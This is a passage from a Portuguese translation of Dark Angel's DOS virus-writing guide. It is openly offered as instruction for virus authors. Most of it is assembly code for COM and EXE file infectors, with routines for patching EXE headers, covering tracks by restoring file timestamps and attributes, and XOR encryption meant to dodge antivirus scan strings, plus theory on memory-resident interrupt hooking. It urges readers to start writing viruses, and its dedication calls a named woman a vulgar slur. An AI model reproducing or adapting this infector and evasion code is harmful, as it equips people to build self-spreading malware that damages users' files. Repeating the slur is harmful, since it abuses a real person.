fazer isso com a informação apresentada na edição anterior.  Ah, mas
tem muito mais.  Um exemplo
de infector de EXE deverá se apresentado rapidamente.
 
  A teoria em infectar foi abordada na última edição, então eu não
devo entrar em detalhes
denovo.  Aqui está um infector de exemplo:
 
  ; Exemplo de infector de COM.  Assume que BX possuir o acesso ao
arquivo
  ; Assume que o arquivo COM passou pelos critérios de infecções e
não foi infectado ainda.
          mov     ah, 3fh
          lea     dx, [bp+buffer1]
          mov     cx, 3
          int     21h
 
          mov     ax, 4200h                       ; Move o ponteiro do arquivo
          xor     cx, cx                          ; para o início do
          xor     dx, dx                          ; arquivo
          int     21h
 
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP
          mov     ax, word ptr [bp+f_size]
          sub     ax, part1_size                   ; Geralmente 3
          mov     word ptr [bp+buffer2+1], ax      ; offset do JMP
 
  ; Codificar a instrução JMP para trocar o início do arquivo
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP
          mov     ax, word ptr [bp+f_size]
          sub     ax, part1_size                   ; Geralmente 3
          mov     word ptr [bp+buffer2+1], ax      ; offset de JMP
 
  ; Escreve a instrução JMP no início do arquivo
          mov     ah, 40h                          ; Escreve CX bytes para
          mov     cx, 3                            ; acessar o BX do
          lea     dx, [bp+buffer2]                 ; buffer -> DS:[DX]
          int     21h
 
          mov     ax, 4202h                        ; Move ponteiro do arquivo
para
          xor     cx, cx                           ; o fim do arquivo
          xor     dx, dx
          int     21h
 
          mov     ah, 40h                          ; Escreve CX bytes
          mov     cx, endofvirus - startofpart2    ; Tamanho efetivo do
vírus
          lea     dx, [bp+startofpart2]            ; Começa a escrever no início
          int     21h
 
  ; Variáveis
  buffer1 db 3 dup (?)                             ; bytes salvos do
                                                   ; arquivo infectado para restaurar
                                                   ; depois
  buffer2 db 3 dup (?)                             ; buffer Temporário
 
  Depois de alguns exames, esse código irá provar que é fácil de ser
entendido.  Isso começa
lendo os primeiros 3 bytes em um buffer.  Note que você pode já ter
feito isso em um passo
anterior, tipo quando você está checando para uma infecção anterior.
Se você já fez isso, você
obviamente não precisa fazer isso de novo.  Esse buffer precisa ser
armazenado no vírus assim
ele pode ser restaurado depois quando o código é executado.
 
  Infecções EXE são bem simples, apenas um pouco mais difícil de se
entender.  Primeiro a teoria.
Aqui está o formato do cabeçalho EXE:
 
   Ofs Nome                      Tamanho   Comentários
   00  Signature                    2 bytes   always 4Dh 5Ah (MZ)
  *02  Last Page Size          1 word    number of bytes in last page
  *04  File Pages                 1 word    number of 512 byte pages
   06  Reloc Items               1 word    number of entries in table
   08  Header Paras            1 word    size of header in 16 byte paras
   0A  MinAlloc                  1 word    minimum memory required in
paras
   0C  MaxAlloc                 1 word    maximum memory wanted in
paras
  *0E  PreReloc SS            1 word    offset in paras to stack segment
  *10  Initial SP                  1 word    starting SP value
   12  Negative checksum   1 word    currently ignored
  *14  Pre Reloc IP            1 word    execution start address
  *16  Pre Reloc CS           1 word    preadjusted start segment
   18  Reloc table offset      1 word    is offset from start of file)
   1A  Overlay number       1 word    ignored if not overlay
   1C  Reserved/unused      2 words
  * denotes bytes which should be changed by the virus
 
  Para entender  isso, voce deve primeiro entender que arquivos EXE
sao estruturados dentro
de segmentos.  Estes segmentos podem iniciar e acabar qualquer
lugar.  Tudo o que voce tem que
fazer para  infectar um arquivo EXE eh juntar o seu codigo no fim.
Isso ira entao ser em seu
proprio segmento.  Agora tudo que voce tem de fazer eh fazer o
codigo do virus executar primeiro
o codigo do programa.  Ao contrado de infeccoes COM,  nenhum
codigo do programa eh sobrescrito
entretanto  o cabecalho eh modificado.   Note que o virus pode
permanecer com a estrutura V1/V2,
mas apenas V2 precisa ser concatenado no fim do arquivo EXE
infectado.
 
  Offset 4  (Paginas de Arquivo)  mantém o  tamanho do arquivo
dividido por 512, arredondado.
Offset 2 mantem o tamanho do modulo 512 do arquivo.  Offset 0Eh
mantem o deslocamento de
paragrafo (relativo para o fim do cabeçalho) da pilha de segmento
inicial e Offset 10h mantem
o deslocamento (relativo para o inicio do segmento da pilha)  do
ponteiro de pilha inicial.
Offset 16h mantem o deslocamento de paragrafo relativo para o fim
de o cabecalho e offset  14h
mantem o deslocamento do ponto de entrada relativo ao inicio do
segmento de entrada.  Offset 14h
e 16h sao a chave para acrescentar o codigo inicial (o virus) para o
arquivo.
 
  Antes de voce  infectar o  arquivo, voce  deve salvar o CS:IP e SS:SP
encontrado no cabecalho
EXE, como  voce precisa restaurar eles durante a execucao.  Note que
SS:SP NÃO é armazenado no
formato Intel reverse-double-word.  Se voce nao sabe o que eu estou
falando, nao se preocupe;
Isso é apenas para pessoas do ramo.  Você deve também salvar o
tamanho do arquivo pois voce ira
precisar usar aquele valor muitas vezes durante a rotina de infeccao.
Agora é hora de calcular
alguns offsets!  Para encontrar o novo  CS:IP e SS:SP, use o seguinte
codigo.  Ele assumes que
o tamanho do arquivo está carregado em DX:AX.
          mov     bx, word ptr [bp+ExeHead+8]    ; Tamanho do
Cabeçalho nos paragrafos
               ;  ^---tenha certeza que você não destruirá o acesso ao
arquivo
          mov     cl, 4                          ; Multiplicar por 16.  Não funciona
com
          shl     bx, cl                         ; cabeçalhos > 4096
                                                 ; bytes.  Oh well!
          sub     ax, bx                         ; Subtrair tamanho do cabeçalho de
          sbb     dx, 0                          ; tamanho do arquivo
    ; Agora DX:AX está carregado com tamanho do arquivo menus
tamanho do cabeçalho
          mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX
          div     cx
 
  Esse codigo  eh um tanto ineficiente.  Isso poderá provavelmente ser
mais facil para dividir
por 16 primeiro  e então executa uma subtração direta de AX, mas
isso parece ser o código que
eu escolhi. Entretanto, esse codigo tem algumas vantagens sobre o
mais  eficiente já feito.
Com esse, você terá certeza que o IP  (em DX)  irá ser entre 15.  Isso
permite a pilha para
estar no mesmo segmento como o ponto de entrada, tão longo tanto o
apontador da pilha.
 
  Agora AX*16+DX  aponta para o fim do codigo.  Se o virus inicia
imediatamente depois do fim do
codigo, AX e DX podem ser usados como o CS e IP iniciais,
respetivamente.  Entretanto, se  o
virus tem algum lixo (codigo ou dados) antes do ponto de entrada,
acrescente a troca do ponto
de entrada para DX (nenhum ADX com AX é necessário desde que
DX sejá sempre pequeno).
 
          mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
          mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in
module
 
  The SP  and SS  can now  be calculated.   The  SS is  equal to the
CS.  The
  actual value  of the SP is irrelevant, as long as it is large enough so
the
  stack will  not overwrite code (remember: the stack grows
downwards).  As a
  general rule,  make sure the SP is at least 100 bytes larger than the
virus
  size.  This should be sufficient to avoid problems.
 
          mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS
          mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
 
  Tudo o que falta mexer no cabeçalho é o tamanho do arquivo.
Restaure o tamanho do arquivo
original de  aonde quer que você salvou para DX:AX.  Para calcular
DX:AX/512 e DX:AX MOD 512,
use o seguinte código:
          mov     cl, 9                           ; Use shifts again for
          ror     dx, cl                          ; division
          push    ax                              ; Need to use AX again
          shr     ax, cl
          adc     dx, ax                          ; pages in dx
          pop     ax
          and     ah, 1                           ; mod 512 in ax
 
          mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in
          mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.
 
  Tudo o que falta é reescrever o cabeçalho EXE e concatenar o vírus
no fim do arquivo.  Você
precisa de código?  Você pega código.
 
          mov     ah, 3fh                         ; BX mantém manuseior
          mov     cx, 18h                         ; Não precisa de todo o cabeçalho
          lea     dx, [bp+ExeHead]
          int     21h
 
          call    infectexe
 
          mov     ax, 4200h                       ; voltar para o inicio do
          xor     cx, cx                          ; arquivo
          xor     dx, dx
          int     21h
 
          mov     ah, 40h                         ; Reescrever cabeçalho
          mov     cx, 18h
          lea     dx, [bp+ExeHead]
          int     21h
 
          mov     ax, 4202h                       ; Vai para o fim do arquivo
          xor     cx, cx
          xor     dx, dx
          int     21h
 
          mov     ah, 40h                         ; Note: Apenas precisa escrever
          mov     cx, part2size                   ;       parte 2 do virus
          lea     dx, [bp+offset part2start]      ;      (Partes do virus
          int     21h                             ;       definido na primeira
                                                  ;       parte do
                                                  ;       guia)
 
  Note que esse código sozinho não é suficiente para escrever um
infector de COM ou EXE.
Código também é necessário para transferir controle para o programa
pai.  A informação
necessária para fazer esse deve ser apresentada na próxima parte.
  Nesse meio tempo, você pode tentar deixar do seu modo; apenas
lembre-se que você deve
restaurar tudo o que você mudou.
 
 
                    PASSO 4 -
            COBRINDO SEUS
                    RASTROS
 
  Esse passo,  embora simples de se fazer, eh muito facilmente
esquecido.  Isso eh extremamente
importante, como um usuário cauteloso será alertado para a presença
de um virus por todos as
modificações em um arquivo.   Em sua forma mais simples, isso
envolve a restauração de
atributos do arquivo, hora e data.  Isso eh feito com o seguinte
código:
 
          mov     ax, 5701h                      ; Mudar arquivo tempo/data
          mov     dx, palavra ptr [bp+f_date]       ; DX = data
          mov     cx, palavra ptr [bp+f_time]       ; CX = tempo
          int     21h
 
          mov     ah, 3eh                        ; Fechar arquivo
          int     21h
 
          mov     ax, 4301h                      ; Mudar atributos
          lea     dx, [bp+offset DTA + 1Eh]      ; Nome do arquivo
permanece em DTA
          xor     ch, ch
          mov     cl, byte ptr [bp+f_attrib]     ; Atributo em CX
          int     21h
 
  Lembrar tambem para restaurar o diretório de volta para o original
se ele foi alterado
enquanto o vírus rodava.
=========================================================================
 
DEDICATORIA: Isso eh dedicado para Patty Hoffman,
    aquela gorda puta que nao sabe seu proprio nome,
    e para os milhoes de idiotas panacas quem estao
    amedrontados pelos Michelangelo e por isso eles nao tocam
    em seus computadores por um dia inteiro.
 
  AGRADECIMENTOS: para todos os membros do
FALCAO/SKISM especialmente
    Garbageheap, Hellraiser, e Demogorgon.
 
  Guia de Criação de Vírus por Dark Angel
 
       "Essa é a coisa certa para fazer"
 
 
  PARTE III:  VÍRUS NAO
  RESIDENTES VIRUS, PARTE II
 
   Bem vindo a terceira parte do meu guia de criação de Virus. Na
parte anterior, eu cobrir a
parte primaria do virus - a replicacao.  Como prometi, Eu devo agora
cobrir  o resto do virus
nao residente e  apresentar codigo  que, quando  combinado com o
codigo da parte anterior, sera
suficiente para permitir a qualquer um escrever um vírus simples.
  Adicionalmente, Eu  irei apresentar algumas dicas e truques que
pode ajudar para otimisar seu
código.
 
 
  A CAMUFLAGEM
 
  A camuflagem é a defesa mais usada por escritores de virus para
evitar a deteccao de  virus.
A rotina mais comum de encriptacao/decriptacao é o XOR, uma vez
que ele é usado tanto para
encriptacao e decriptacao.
 
  encriptar_val   dw   ?   ; Podera ser em qualquer lugar na área
decriptada
 
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
       lea si, [bp+part_to_encrypt_start]
       mov di, si
 
  xor_loop:
       lodsw
       xor ax, dx
       stosw
       loop xor_loop
 
  A rotina anterior usa uma rotina XOR simples para encriptar ou
decriptar codigo na memoria.
Essa é essencialmente a mesmo rotina como aquela na primeira parte,
exceto porque essa encripta
words melhor do que bytes. Por isso que ele tem 65,535 mutacoes ao
invés de 255 e é tambem duas
vezes mais rapido.  Enquanto essa rotina é simples de se entender, ela
deixa muito  para ser
desejado já que ela é grande e pode ser usada como uma cadeia de
procura de antivirus.  Um
melhor metodo segue:
 
  encrypt_val   dw    ?
 
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       lea bx, [bp+part_to_encrypt_start]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
 
  xor_loop:
       xor word ptr [bx], dx
       add bx, 2
       loop xor_loop
 
  Embora esse  codigo eh  muito menor,  é possível reduzir mais seu
tamanho.  O melhor metodo
eh inserir o valores para o valor encriptacao, BX, e CX, isso em
tempo de infecção.
 
  decrypt:
  encrypt:
       mov bx, 0FFFFh
       mov cx, 0FFFFh
 
  xor_loop:
       xor word ptr [bx], 0FFFFh
       add bx, 2
       loop xor_loop
 
  Todos os valores denotado  por 0FFFFh podem ser mudados
durante a infeccao para valores
apropriados para o arquivo infectado.  Por exemplo, BX deve ser
carregado com o offset
de part_to_encrypt_start relativo ao inicio do arquivo infectado
quanda a rotina deencriptacao
é escrita no arquivo infectado.
 
  A vantagem primário do codigo usado acima eh o minimisação do
tamanho do código de procura.
O código de procura pode apenas consistir daquelas porcoes do
codigo que remanesce constante.
Nesse  caso, Há apenas tres  ou  quatro bytes consecutivos que
permanecem constantes.  Uma vez
que a encriptacao inteira consiste de apenas uma dúzia de bytes, o
tamanho do códico de procura
é extremamente pequeno.
 
  Embora o  funcao de encriptacao eh  limpo, talvez o valor de
encriptação inicial e calculo de
valores subsequentes não é tão lúcido.  O valor inicial para muitas
encriptações XOR deve ser 0.
Você deve mudar o valor de encriptacao valor  durante o  processo de
infecção.  Um valor de
encriptação aleatorio eh desejável.  O mais simples metodo de obter
um número aleatorio é
consultar o relógio interno.  Um número aleatorio pode ser
facilmente obtido com um simples
código:
 
          mov     ah, 2Ch                         ; Pega para mim um número
aleatorio.
          int     21h
          mov     word ptr [bp+encrypt_val], dx   ;  Pode tambem usa CX
 
  Algum funções de encriptação não facilitam com um valor inicial de
0.  Por exemplo,
de um olhda na Whale.  Ele usa o valor do word anterior como um
valor de encriptação.  Nesses
casos, simplesmente use um JMP para passar a rotina de decriptação
quando codificando o vírus.
Entretanto, tenha certeza que as infecções pulem para local certo!  Por
exemplo, assim é como
poderá ficar o código para o vírus:
 
          org     100h
 
  start:
          jmp     past_encryption
 
  ; Insira sua rotina de encriptação aqui
 
  past_encryption:
 
  A rotina de encriptacao é a ÚNICA parte do virus que precisa estar
desencriptada.  Através
de técnicas de mover código, isso eh possivel para copiar o
mecanismo de infecçào para a pilha
(localização da memoria depois do fim do arquivo e antes da pilha).
Tudo o que é requirido
são umas poucas instruções MOVSW e um JMP.  Primeiro a rotina
de encriptacao deve ser copiada,
depois escrita, depois decriptada, depois RETornar para o pograma.
Exemplo:
 
       lea si, [bp+encryption_routine]
       lea di, [bp+heap]
       mov cx, encryption_routine_size
       push si
       push cx
       rep movsb
 
       lea si, [bp+writing_routine]
       mov cx, writing_routine_size
       rep movsb
 
       pop cx
       pop si
       rep movsb
 
       mov al, 0C3h                             ; Tack on a near return
       stosb
 
       call [bp+heap]
 
  Embora muitas  virus, por causa de simplicidade, usa a mesma
rotina tanto para encriptacao
quanto para decriptacao,  o codigo acima mostra que isso é
completamente desnecessario.
A única modificação do código acima para inclusao de uma rotina de
decriptação em separado é
para pegar os PUSHes e trocar os POPs com os LEA si e MOV cx
apropriado.
 
  Rotinas de encriptacao originais, mesmo sendo interessantes, podem
não ser os melhores.
Rotinas de encriptação roubadas são as melhores, especialmente
aquelas roubadas de programas
shareware encriptados!  Sydex é notorio ao usar encriptação em seus
programas shareware.
De uma olhada em programas shareware com encriptação fraca e
sinta-se livre para copiar
ele para você mesmo.  Esperançosamente, os desenvolvedores de
anti-virus irão criar um cadeia
de procura cadeia que ira detectar infeccao pelo seu virus em
produtos shareware simplesmente
porque a encriptacao é o mesma.
 
  Note que isso não é um  tratamento completo de rotinas de
camuflagem.  Um arquivo de texto
completo pode ser escrito apenas sobre técnicas
encriptacao/decriptacao.  Essa é apenas a
forma mais simples de todas as rotinas possíveis de técnicas
encriptação e há muitas mais
técnicas de camuflagens disponíveis.  Entretanto, para o iniciante,
esse deve satisfazer.
 
 
  O DESPACHANTE
 
  O despachante é a porção do virus que restaura o controle para o
programa infectado.  O
despachantes  para arquivos EXE  e  COM  arquivos  são,
naturalmente, diferentes.
 
  Em arquivos COM, você deve restaurar  os bytes que foram
sobreescritos pelo seu virus e  entao
transferir controle para CS:100h,  que eh onde todos arquivos COM
são carregados inicialmente.
 
  RestoreCOM:
       mov di, 100h                     ; Nos estamos copiando para o inicio
       lea si, [bp+savebuffer]          ; Nos estamos copiando de nosso
buffer
       push di                          ; Salva offset para retorno (100h)
       movsw                            ; Mais eficiente do que mov cx, 3, movsb
       movsb                            ; Alterar para encontrar suas necessidades
       retn                             ; Um JMP também irá funcionar
 
  Arquivos EXE requerem simplesmente a restauração do segmento
da pilha/apontador e
  o segmento de codigo/apontador da instrucao.
 
  ExeReturn:
          mov     ax, es                           ; Inicia no segmento PSP
          add     ax, 10h                          ; Pula o PSP
          add     word ptr cs:[bp+ExeWhereToJump+2], ax
          cli
          add     ax, word ptr cs:[bp+StackSave+2] ; Restaura a pilha
          mov     ss, ax
          mov     sp, word ptr cs:[bp+StackSave]
          sti
          db      0eah                             ; JMP FAR PTR SEG:OFF
  ExeWhereToJump:
          dd      0
  StackSave:
          dd      0
 
  ExeWhereToJump2 dd 0
  StackSave2      dd 0
 
  Depois da infeccao, os  CS:IP  e  SS:SP iniciais devem ser
armazenados em ExeWhereToJump2 e
StackSave2, respectivamente.  Eles deve entao ser movido para
ExeWhereToJump e StackSave antes
da restauracao do programa.  Esse restauracao pode ser facilmente
realizada com um serie de
instruções MOVSW.
 
  Alguns gostam de limpar todos as prioridades dos registradores para
o JMP/RET, i.e. eles
instruem um grupo  de instruções XOR.  Se voce se sente feliz e
deseja desperdicar espaço codigo
, voce é bem vindo para fazer isso, mas isso é desnecessario em
muitos casos.
 
 
    A BOMBA
 
    "O horror!  O horror!"
       - Joseph Conrad, O Coracao da Escuridao
 
  O que vai passa atraves da mente de um humilde usuário de
computador quando um virus ativa-se?
Que terrores que a vítima passa quando o computador de repente toca
uma música Nazista?  Quanta
dor de cabeça deve ser a perda de milhares de horas de trabalho em
um instante!
 
  Atualmente, Eu nao suporto destruição de dados e discos exagerada
pelos virus.  Fazer isso
não tem propósito e geralmente  mostra pouca imaginacao.  Por
exemplo, o virus mais famoso
do mundo Michelangelo não faz nada mais do que sobreescrever
setores do  drive com  dados pegos
em posições aleatorias da memória.  Que original.  Uau.  É claro,  se
você é um maniáco em
destruição, vá adiante e destrua tudo que você quiser, mas apenas
lembre-se que essa parte do
virus é geralmente a unica parte vista pelos usuários finais e o
distinguir de outros.
Os melhores exemplos em ordem cronológica incluem: Ambulance
Car, Cascata, Ping Pong, e Zero
Hunt.  Nao esqueca a linha PHALCON/SKISM, especialmente
aquelas feitos por mim!
 
  Como você pode ver, não código para ser mostrado nessa secao.
Uma vez que todas as bombas
devem ser originais, não há sentido por o codigo de uma.  É claro,
alguns virus nao contenham
qualquer bomba para eu mostrar aqui.  Geralmente falando, apenas
aqueles com tamanho acima de
500 bytes tem bombas.
  Não é vantagem de nao ter um bomba outra do que a consideração
do tamanho.
 
 
   MEA CULPA
 
  Eu venho informar a voce que aquele infector EXE apresentado na
última parte não é totalmente
perfeito.  Eu admito isso.  Eu fiz um erro proporções colossais.  O
calculo do tamanho do
arquivo tamanho e tamanho do arquivo mod 512 foi mostrado de
uma forma errada.  Aqui está a
versão correta:
 
  ; Na entrada, DX:AX mantem o NOVO tamanho do arquivo
 
          push    ax                          ; Salva low word do tamanho do
arquivo
          mov     cl, 9                       ; 2^9 = 512
          shr     ax, cl                      ; / 512
          ror     dx, cl                      ; / 512 (tipo de)
          stc                                 ; Checar descrição do cabeçalho EXE
                                              ; para explicacao da adicao
          adc     dx, ax                      ; de 1 para a DIV 512
          pop     ax                          ; Restaura low word do tamanho do
arquivo
          and     ah, 1                       ; MOD 512
 
  Esse resultados do tamanho do arquivo / 512 + 1 em DX e o
tamanho do arquivo mod 512 em AX.
O resto permanece  o mesmo.  Teste sua rotina de infecção EXE com
o ELO.EXE da Microsoft, uma
que ele nao roda a menos que infecção EXE eh perfeita.
 
 
 
  DICAS E TRUQUES
 
  Então agora todas as partes do vírus nao residente foram cobertas.
Eu deixei muito mais
espaço que sobraram para serem preenchidos.  Assim, Eu devo
apresentar muitas técnicas simples
que qualquer um pode incorporar dentro do virus para melhorar a
eficiencia.
 
  1.    Use o pilha
        A pilha é a área da memoria entre o fim do codigo e o fim da
pilha.  Esse pode ser
        convenientemente tratado como uma área de dados de um vírus.
Ao mover variaveis para a
 pilha, o virus não precisa manter variaveis em seu codigo, reduzindo
assim seu tamanho.
 Note que desde que o conteudo da pilha nao são parte do virus,
apenas variáveis
 temporárias variaveis devem ser mantidas lá, i.e. a rotina de infeccao
não deve contar
 com a pilha como parte do vírus já que ela pode derrotar o propósito
de seu uso.
        Aqui estão dois modos de usar a pilha:
 
       ; Primeiro metodo
 
     EndOfVirus:
       Variable1 equ $
       Variable2 equ Variable1 + LengthOfVariable1
       Variable3 equ Variable2 + LengthOfVariable2
       Variable4 equ Variable3 + LengthOfVariable3
 
       ; Exemplo do primeiro metodo
 
       EndOfVirus:
       StartingDirectory = $
       TemporaryDTA      = StartingDirectory + 64
       FileSize          = TemporaryDTA + 42
       Flag              = FileSize + 4
 
       ; Segundo metodo
 
       EndOfVirus:
       Variable1 db LengthOfVariable1 dup (?)
       Variable2 db LengthOfVariable2 dup (?)
       Variable3 db LengthOfVariable3 dup (?)
       Variable4 db LengthOfVariable4 dup (?)
 
       ; Exemplo de segundo metodo
       EndOfVirus:
       StartingDirectory db 64 dup (?)
       TemporaryDTA      db 42 dup (?)
       FileSize          dd ?
       Flag              db ?
 
       Os dois metodos diferem  ligeiramente.  Ao usar primeiro
metodo, voce cria um  arquivo
que ira ter o tamanho exato do virus (mais o código do início).
Entretanto, quando
referenciando as variáveis, especificações de tamanho tais como
BYTE PTR, WORD PTR, DWORD PTR,
etc. deve sempre ser usado  ou o assembler ficará confuso.  Em
segundo lugar, se as variáveis
precisam ser rearranjadas por alguma razao, o código inteiro EQUates
será destruido e deve ser
refeito.   Virus codificados com o segundo metodo não precisam de
especificações de tamanho,
mas o arquivo resultante deverá ser maior do que o tamanho do vírus
atual.  Enquanto que esse
não eh normalmente um problema, dependendo da checagem de
reinfeccao, o virus pode infectar o
arquivo original quando for rodar.  Esse não é um grande defeito,
especialmente considerando
as vantagens desse metodo.
 
       Em qualquer  caso, o  uso da pilha pode grandemente diminuir o
tamanho efetivo do código
do virus codigo e assim deixar ainda mais eficiente.  A única coisa
que deve ser observada é
quando se for infectar arquivos COM grande onde a irá voltar de
volta para o offset 0 do mesmo
segmento, corrompendo o PSP.  Entretanto, esse problema é
facilmente evitado.  Quando
considerar se um arquivo COM arquivo eh muito grande para ser
infectado por esse razao,
simplesmente acrescente o tamanho da variável temporária para o
tamanho do virus com o
propositos de checar.
 
  2.   Use procedimentos
       Procedimentos são úteis na redução do tamanho do vírus, o que
eh sempre um objetivo
desejável.  Apenas use procedimentos se eles salvmr espaco.  Para
determinar a quantidade de
bytes salvos pelo uso usa de um procedimento, use a seguinte
formula:
 
       Deixe PS = tamanho do procedimento tamanho, em bytes
       bytes salvos = (PS - 4) * número invocacoes - PS
 
       Por exemplo, o procedimento de fechar arquivo,
 
       close_file:
         mov ah, 3eh      ; 2 bytes
         int 21h          ; 2 bytes
         ret              ; 1 byte
                          ; PS = 2+2+1 = 5
 
       eh apenas  viavel se isso for usado 6 ou mais vezes, como
(5-4)*6 - 5 = 1.  Um grande
salvamento de um (1) byte!  Uma vez que nenhum vírus fecha um
arquivo em seis lugares diferentes
,  o procedimento de fechar arquivo é claramente  inútil e deve ser
evitado.
 
       Sempre que  possivel,  desenhe os procedimentos para  ser o mais
flexivel quanto possível.
Essa é a razão chefe porque a codificação Bulgariana é tão tenso.
Apenas de uma olhada na fonte
de Creeping Death.  Por exemplo, o procedimento de apontar de
mover arquivo:
 
     go_eof:
         mov al, 2
       move_fp:
         xor dx, dx
       go_somewhere:
         xor cx, cx
         mov ah, 42h
         int 21h
         ret
 
       A funcao foi feita com flexibilidade em mente.  Com uma CALL
para o go_eof, o
procedimento ira mover o  apontador de arquivo para o fim do
arquivo.   Um CALL
para move_fp  com AL setado em 0, o apontador do arquivo
apontador será reiniciado.  Uma CALL
para go_somewhere com DX e AL declarado, o apontador do arquivo
pode ser movido para qualquer
lugar dentro do arquivo.  Se o  funcao eh usada pesadamente, os
salvamentos podem ser enormes.
 
  3.   Use um bom assembler e debugger
       O melhor assembler que eu já vi foi o Turbo Assembler.  Ele
compila muito rapidamente,
use a opção /m2 para eliminar todos  os NOPs  do  codigo.  As
vantagens sao obvias - rapido
desenvolvimento e pequeno codigo.
 
       O melhor  debugador eh  tambem feito pela Borland, o rei do
desenvolvimento de
ferramentas.  Turbo Debugger tem muito aspectos que você pode
apenas precisar comprar ele para
assim  voce poder ler o  manual!  Ele pode enganar muitas armadilhas
para debuggers com
facilidade e é ideal para testar.  Adicionalmente, esse debugador tem
versões 286 e 386
específicas,  cada uma das quais muito mais poderosas que o seus
anteriores.
 
  4.   Nao use MOV ao invés de LEA
       Quando escrever seu primeiro vírus, você pode muitas vezes
esquecer de usar LEA ao invez
de MOV quando for carregar  offsets.  Esse eh um serio engano e eh
muitas vezes feito pelos
codificadores de vírus iniciantes.   Os efeitos prejudiciais efeitos de
tal erro são
imediatamente óbvias.  Se o vírus não está trabalhando, cheque por
esse erro.  É quase tão
difícil de detectar quanto um erro de apontador NULO em C.
 
  5.   Leia as últimas edições de 40Hex
       40Hex, jornal oficial do PHALCON/SKISM com técnicas de
virus tecnicas e novidades, é uma
publicação que não pode ser perdido por nenhum criador de vírus
com respeito próprio.  Cada
edição contém técnicas e código fonte, desenvolvido para ajudar
todos os escritores de vírus,
sejam eles iniciantes ou experts.  Novidades relacionadas a Vírus
também é publicado.  Pegue
o jornal, leia o jornal, ame o jornal, coma o jornal!
 
 
  O QUE AGORA?
 
  Você tem todo o codigo e informação suficiente para escrever um
vírus viável, tão bem quanto
as técnicas saudáveis para usar.  Assim, pare de ler e comece a
escrever!  A única forma de
ficar melhor é através da prática.  Depois de duas ou três tentativas,
você deverá estar no
caminho da criação do seu próprio vírus bom.
==========================================================================
AVISO: Esse arquivo tem garantia de 100% de continuar a existir.  O
autor não clama a existencia ou nao existencia do leitor.
Esse espaco foi deixado intencionalmente em branco.
AGRADECIMENTOS: Bemvindo ao lar, Hellraiser!
Ola para a turma: Count Zero, Demogorgon, Garbageheap, assim
como para todo o resto que eu não mencionei.
Guia de Criação de Vírus por Dark Angel
    "Isso é legal!" - Kraft
ONDE ENCONTRAR:  Para encontrar esse guia e as futura edições
vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS: rlebeau@geocities.com (Não sou o
autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas as
questões)
 
 
 
 
 
  PARTE IV: VÍRUS RESIDENTES
  VIRUS, PARTE II
 
    Agora que o topico de virus nao residentes foi endereçado, esse
série agora vira-se para virus residente em memória.  Essa parte cobre
a teoria desse tipo  de virus,  entretanto nenhum codigo irá ser
apresentado.  Com  esse conhecimento em  mão, voce pode escrever
virus residente em memoria com a certeza que voce não está indo
muito mal.
 
 
  INTERRUPÇÕES
 
    DOS amavelmente fornece-nos um poderoso metodo de valorizar a
si mesmo, chamado programas residente em memória.  Programas
residente em memória permite uma extensão e alteração do
funcionamento normal do DOS.  Para entender como programas
residente em memoria funcionam, é necessário desenvolver dentro da
intricacias da tabela de interrupções.   A tabela de interrupções é
localizada na localizacao de memória 0000:0000h até  0000:0400h
(ou  0040:0000), apenas  abaixo da área de informação da BIOS.  Ela
consiste de 256 double words, cada uma representando um par de
segmento:offset.   Quando uma chamada de interrupcao é instruida
via uma instrucao INT, duas coisas ocorrem, nessa ordem:
 
    1) Os flags sao empurradas dentro da pilha.
    2) Um  far call é instruida  para o segmento:offset localizada na
tabela de interrupções
 
    Para retornar de uma interrupção, uma iret instrucao eh usada.  A
instrução iret reversa a ordem da chamada int.  Isso  executa um retf
seguido por um popf.  Esse procedimento de chamada/retorno tem
um interessante contra-efeito quando considerando manuseadores de
interrupções que retorna valores no registrador de flags.   Tais
manuseadores deve manipular
diretamente o registrador de flags salva na pilha antes do que
simplesmente manipular diretamente o registrador.
 
     O processador procura na tabela de interrupcao a localizacao para
poder chamar.  Por exemplo, quando uma interrupcao  21h eh
chamada, o processador procura na tabela interrupcao para encontrar
o endereco do handler da interrupcao 21h.  O segmento desse
apontador eh 0000h e o offset eh 21h*4, ou 84h.  Em outras palavras,
a tablea de interrupcao é simplesmente um consecutivo corrente de
256 ponteiros para interrupcoes, indo de interrupcao 0 para
interrupcao 255.  Para encontrar uma específica interrupção handlerr,
carregue em um segmento par de double word segmento:offset a
partir do segmento 0, offset  (interrupcao numero)*4.  A tabela de
interrupcao eh armazenado em formato padrao Intel reverso double
word, i.e. o offset eh armazenado primeiro, seguido pelo segmento.
 
    Para um  programa poder "capturar" uma interrupcao, ou seja,
redirecionar a interrupcao, ele deve mudar os dados na tabela de
interrupcao.  Isso pode ser realizado tanto por manipulação direta da
tabela ou por uma chamada para a apropriada função DOS.  Se o
programa manipula a tabela diretamente, ele deve por esse codigo
entre um par CLI/STI, para instruir uma interrupcao pelo processador
enquanto o tabela eh semi-alterada pode ter pessimas consequencias.
Geralmente
manipulação direta é a alternativa preferível, desde que alguns
programas primitivos tal como FluShot+ captura a chamada para
interrupcao 21h para mudar a interrupcao e ira avisar o usuario se
qualquer programa "nao autorizado" tentar mudar o handler.
 
    Um controlador de interrupção eh uma peça de codigo que eh
executada quando uma interrupcao eh requerida.  A interrupcao pode
tanto ser requerido por um programa ou pode ser requerida pelo o
processador.  Interrupcao 21h eh  um exemplo do anterior, enquanto
interrupcao 8h eh uma exemplo da outra.  O sistema BIOS fornece
uma porcao de handlers de interrupção, com DOS e outros programas
fornecendo o resto.  Geralmente, o limite de interrupções BIOS varia
de 0h para
1Fh, em interrupcoes DOS o limite é de limite de 20h até 2Fh, e o
resto eh disponivel para uso pelos programas.
 
    Quando um  programa deseja  instalar seu proprio codigo, ele deve
considerar muitos fatores. Primeiro de todos, ele quer suplantar ou
